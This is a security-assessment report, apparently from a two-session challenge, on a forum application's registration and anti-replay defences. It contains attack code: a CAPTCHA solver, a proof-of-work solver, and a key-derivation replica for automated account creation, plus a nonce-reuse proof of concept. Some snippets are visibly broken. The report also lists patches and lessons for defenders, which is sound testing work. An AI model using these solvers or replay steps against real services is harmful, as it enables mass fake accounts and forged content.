6. Phase 4: Exploitation — Challenge #3 (State Corruption)

6.1 Vulnerability Analysis

The system implements anti-replay protection via:

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { const now = Date.now(); for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

Two vulnerabilities:

1. Nonces only in RAM: They do not persist in SQLite. Cleanup deletes them after 5 minutes.
2. Boundary check with >: Timestamps on the exact 5-minute boundary PASS the validation.

6.2 Proof of Concept — Nonce Reuse

A test script was designed with 4 scenarios:

const token = await login(usuario); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const res1 = await createThread(token, nonce, timestamp); const res2 = await createThread(token, nonce, timestamp); const futureTs = new Date(Date.now() + 300000).toISOString(); const res3 = await createThread(token, crypto.randomUUID(), futureTs); const pastTs = new Date(Date.now() - 301000).toISOString(); const res4 = await createThread(token, crypto.randomUUID(), pastTs); 

6.3 Test Results

6.4 Complete Attack Vector

1. Atacante registra usuario legítimo (vía Sybil bypass) 2. Atacante crea thread legítimo con nonce X 3. Atacante captura nonce X de la respuesta o del feed público 4. Atacante espera 5+ minutos 5. El servidor elimina nonce X del Map (cleanup automático) 6. Atacante envía NUEVA petición con: - Mismo nonce X - Diferente título/contenido (payload mutado) - Nueva firma ECDSA (válida para su propia clave) - Nuevo timestamp (dentro de ventana) 7. validateFreshness() retorna true (nonce X ya no está en Map) 8. El servidor acepta y PERSISTE el payload mutado en DB 

6.5 Implications

• //Nonce Replay: An attacker can create unlimited threads/replies with the same nonce, as long as they wait ~5 minutes between each.
• //Integrity Violation: The system promises "replay protection" but does not enforce it for windows >5 minutes.
• //Deniability: A documented nonce in a legitimate thread can be reused to create malicious content, and the nonce would appear in both DB records.

7. Phase 5: Non-Exploitable Vectors

7.1 Signature Forgery (ECDSA P-256)

No exploitable vulnerability was found:

7.2 SQL Injection

All queries use positional parameters:

db.get('SELECT * FROM users WHERE codename = ?', [codename], ...) db.all('SELECT * FROM threads WHERE author = ?', [author], ...) 

Not exploitable: sqlite3 with ? parameters completely prevents SQL injection.

7.3 Path Traversal

Double filter in global gateway:

app.use((req, res, next) => { const decodedPath = decodeURIComponent(req.path); if (req.path.includes('..') || decodedPath.includes('..')) { return res.status(400).json({ error: 'PATH_TRAVERSAL_DETECTED' }); } next(); }); 

Not exploitable: Verifies both the raw path and decoded path.

7.4 XSS (Cross-Site Scripting)

Multiple defense layers:

1. CSP: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ...
2. DOMPurify: Sanitization of HTML rendered from Markdown
3. textContent: Preferred over innerHTML for user data
4. html-escape: Secondary escaping layer (with regex bugfix)

Not exploitable: CSP blocks any unauthorized inline script.

7.5 Escalation to COMMANDER

The COMMANDER role is assigned exclusively via setup.js on the physical server:

const existing = await db.get("SELECT codename FROM users WHERE role = 'COMMANDER'"); if (existing) { console.error(\`[ABORT] Commander "\${existing.codename}" is already initialized.\`); process.exit(1); } 

Not remotely exploitable: There is no HTTP endpoint to assign roles.

7.6 Password Brute Force

• //scrypt N=131072: ~100ms per verification (extremely slow)
• //Rate limiting: 10 attempts / 15 minutes
• //Session tokens: crypto.randomBytes(32) = 256 bits of entropy

Not exploitable: Rate limiting + scrypt make any brute force attack unfeasible.

7.7 Token Manipulation

Tokens are NOT JWTs:

const token = crypto.randomBytes(32).toString('hex'); 

Not exploitable: No structure to decode or manipulate. No signature to verify.

11. Conclusions

11.1 Summary of Findings

The C2 Forum system implements a robust security architecture with multiple defense layers. However, vulnerabilities were identified in 2 of the 3 challenge areas:

11.2 Lessons for Defenders

1. Vector CAPTCHA: If paths are generated from fixed templates with predictable jitter and exposed to the client, an attacker with source access can reconstruct the exact templates and perform deterministic matching. Solution: use procedural character generation (not fixed templates) or server-side validation with cryptographic challenge-response.

2. Anti-replay Nonces: Store in DB with a UNIQUE constraint, not just in RAM. The lifetime of a nonce should be indefinite (or at least larger than the system's active window).

3. Boundary Conditions: Use >= instead of > for temporal tolerance boundaries.

4. Honeypot: Consider more robust techniques like hashcash or asymmetric proofs of work.

5. Layered Security: Despite the vulnerabilities found, the system is more secure than most traditional forums. The combination of ECDSA + scrypt + CSP + rate limiting + httpOnly cookies + anti-CSRF makes most common attack vectors unfeasible.

11.3 Final System State

Following the proofs of concept, a user (xlawt30e4) and a public thread were successfully created, demonstrating the automated registration capability. No destructive actions were performed, and no data from other users was modified.

Analysis of captcha.js

const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], ... '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]] }; 

Character set: ABCDEFGHJKLMNPQRSTUVWXYZ23456789 (33 characters, excludes I,O,0,1)

Jitter: ±0.4px on each coordinate

function generateDynamicPath(char) { const commands = CHAR_PATHS[char]; return commands.map(([cmd, x, y]) => { const dx = Math.random() * 0.8 - 0.4; const dy = Math.random() * 0.8 - 0.4; return \`\${cmd} \${(x + dx).toFixed(2)} \${(y + dy).toFixed(2)}\`; }).join(' '); } 

VULNERABILITY: The jitter of only ±0.4px allows deterministic matching with a ±0.5px tolerance.

Analysis of server.js — Anti-Replay

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

VULNERABILITY 1: Nonces only in RAM (Map), not in DB. Cleanup deletes them after 5 min. No UNIQUE constraint in SQLite.

VULNERABILITY 2: Math.abs(Date.now() - ts) > 300000 — uses > instead of >=. A timestamp exactly on the boundary (300000ms) PASSS the validation.

2.3 Exploitation — Sybil Registration

CAPTCHA Solver

Attempt 1 — Feature-based heuristic: Failed (0% success)

An attempt was made to classify by:

• //Number of M/L commands
• //Aspect ratio width/height
• //Presence of a middle stroke

Problem: Different characters share the same features.

Attempt 2 — Inverse SVG Transform: Failed

Three mathematical interpretations of the SVG transform matrix were implemented. It was discovered that the path data IS ALREADY in template coordinates (0-10). The <g> transform only positions the character on the canvas.

Attempt 3 — Direct Path Data Matching (SUCCESSFUL)

function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; } result += best; } return result; } 

Accuracy: 100% in tests.

PoW Solver

function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256') .update(challenge + nonce) .digest('hex'); if (hash.startsWith(target)) return String(nonce); } } 

Performance: ~1M hashes/s | Average time: ~1s | Typical nonces: 400K–2.8M

Key Derivation

Exact replication of the legitimate client's WebCrypto process:

const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = \`\${DOMAIN}:\${name}:auth:v2\`; const authKey = pbkdf2(passphrase, authSalt, 600000, 32, 'sha256'); const encSalt = \`\${DOMAIN}:\${name}:enc:v2\`; const aesKey = pbkdf2(passphrase, encSalt, 600000, 32, 'sha256'); const encPriv = \`\${ivBase64}:\${ciphertextBase64}\`;

2.4 Exploitation — State Corruption (Nonce Reuse)

Tests Performed

Demonstrated Attack Vector

1. Crear thread con nonce X → 201 (nonce registrado en Map) 2. Esperar 5+ minutos → Map elimina nonce X (cleanup automático) 3. Reenviar payload MUTADO con nonce X → validateFreshness() retorna true 4. Servidor acepta y persiste en DB → Nonce reusado exitosamente 

The timestamp exactly on the 5-minute boundary also passes due to > instead of >=.

3.2 Detected Changes in Production

New fields in CAPTCHA response

{ "captchaSvg": "PHN2ZyB4bWxuc...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a2d18b63cf5c927e14fea2841433d984c03c37162be3c09fa", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" } 

New fields:

• //captchaIssuedAt: Server Unix timestamp
• //honeypotFields: Array of 3 honeypot fields with random names
• //hpToken: Honeypot validation token

New SVG Format (Bezier Curves)

Antes (v1): <path d="M 10 2 L 8 0 L 2 0 L 0 2 L 0 8 L 2 10 L 8 10 L 10 8"/> Ahora (v2): <path d="M10.78 -0.25 C7.08 -1.42 3.96 -1.34 0.33 0.02 C0.55 1.31 ... "/> 

Differences:

• //Dimensions: 180×55 (before 150×50)
• //Commands: C (cubic Bezier) instead of L (line)
• //Multiple paths: Each group can have 1-3 <path> elements
• //Additional noise: Bezier paths outside the groups (noise)
• //Coordinates: Numbers are stuck to the command (M10.78 vs M 10.78)

Unified Error

Antes (v1): "CAPTCHA verification failed." "Proof of Work verification failed." "Invalid or missing field: codename" "Codename already registered." Ahora (v2): "REGISTRATION_REJECTED" (para TODOS los errores) 

3.3 Bypass Attempts

Bezier CAPTCHA Solver (Partial)

A Bezier curve endpoint extractor was implemented:

function extractEndpointsFromBezier(d) { const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const cmd = seg[0]; const parts = seg.substring(1).trim().split(/s+/).map(parseFloat); if (cmd === 'M') { points.push({ cmd: 'M', x: parts[0], y: parts[1] }); } else if (cmd === 'C') { points.push({ cmd: 'L', x: parts[4], y: parts[5] }); } } return points; } 

Problem: Bezier endpoints do not align exactly with M/L templates due to control curve distortion. The matching produces 2TH2X but it cannot be validated if it is correct because of the unified error.

Dynamic Honeypot

The 3 honeypot fields were sent with empty values, along with hpToken and captchaIssuedAt:

const honeypotPayload = honeypotFields.reduce((acc, f) => { acc[f.name] = ""; return acc; }, {}); const regBody = { codename: user, password: authKey, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, ...honeypotPayload, }; 

Result: 400 REGISTRATION_REJECTED — it is impossible to determine whether the honeypot, CAPTCHA, or PoW failed.

3.4 Final State

Registro (v2) → BLOQUEADO (CAPTCHA Bezier + honeypots dinámicos + errores unificados) ↓ Autenticación → NO ALCANZABLE (sin registro) ↓ Nonce Reuse → NO VERIFICABLE (sin sesión) ↓ Thread Creation → NO VERIFICABLE (sin sesión) 

4. Version Comparison

5. Patched Vulnerabilities

C2-001: CAPTCHA with predictable M/L paths

Patch:

• //Paths now use Bezier curves (C) instead of straight lines (L)
• //Multiple paths per character (1-3 instead of 1)
• //Coordinate jitter amplified by control curve distortion

Effectiveness: High — exact matching against CHAR_PATHS no longer works. OCR or ML is required.

C2-004: Fixed Honeypot

Patch:

• //Field names dynamically generated by the server (v_f50ab230583c)
• //3 fields with different CSS hiding techniques
• //hpToken for server-side integrity validation
• //captchaIssuedAt issuance timestamp

Effectiveness: High — without source access, an attacker cannot predict the field names.

C2-005: Differentiated Registration Errors

Patch: All registration errors return REGISTRATION_REJECTED.

Effectiveness: High — prevents:

• //User enumeration ("Codename already registered")
• //CAPTCHA guess validation ("CAPTCHA verification failed")
• //PoW validation ("Proof of Work failed")
• //Field fingerprinting ("Invalid or missing field: ...")

C2-006/007: Exposed Source + Predictable Templates

Patch: The public GitHub repository does not reflect the production version. CHAR_PATHS templates are no longer directly usable due to the Bezier transition.

6. Persistent Vulnerabilities (unverified)

C2-002: Nonces in RAM

Probably still present: Changing to Bezier curves and dynamic honeypots does not imply a change in anti-replay logic. Nonce validation is still in server.js with an in-memory Map.

Impediment: Not verifiable without an authenticated account, which is blocked by the new CAPTCHA.

C2-003: Boundary check with >

Probably still present: Changing > to >= requires modifying server.js. There is no evidence that this has been modified.

Impediment: Not verifiable without authentication.

Signature Forgery (ECDSA P-256)

Not exploitable: Unchanged. ECDSA verification remains cryptographically sound.

9. Conclusions

9.1 Effectiveness of Patches

The Noir0x63 team responded to Session 1 findings by deploying multiple patches to production:

1. Bezier CAPTCHA: Switched from linear paths (M/L) to cubic Bezier curves (C), rendering the coordinate matching solver obsolete. Furthermore, multiple paths per character and additional Bezier noise complicate any extraction attempt.

2. Dynamic Honeypots: Switched from 1 fixed field (email) to 3 fields with server-generated names, plus a validation token (hpToken) and issuance timestamp (captchaIssuedAt).

3. Unified Errors: All registration errors now return REGISTRATION_REJECTED, eliminating any possibility of enumeration, fingerprinting, or iterative validation of CAPTCHA guesses.

4. Outdated Source: The public GitHub repository now contains v1 code, failing to reflect production changes. This prevents whitebox analysis.

9.2 Lessons for Both Sides

For the Defender (Noir0x63)

• //Fast and effective response: Patches deployed between sessions demonstrate agile response capability. All 3 primary registration vulnerabilities were fixed in what appears to be a single deployment.
• //Pending: Anti-replay vulnerabilities (RAM nonces, boundary check) likely remain. Recommendation: migrate nonces to SQLite with a UNIQUE constraint and change > to >=.
• //Rate limiting: Consider extending rate limiting to the CAPTCHA endpoint to prevent mass captcha harvesting.

For the Attacker

• //No access to updated source: v2 is effectively a new target. v1 knowledge helps understand the architecture but does not provide direct exploits.
• //Bezier CAPTCHA: Without access to Bezier curve templates or a functional OCR pipeline, solving the CAPTCHA requires more advanced techniques (ML, headless browser, or reverse engineering of the Bezier algorithm).
• //Broken feedback loop: The unified error eliminates the ability to perform iterative validation tests.
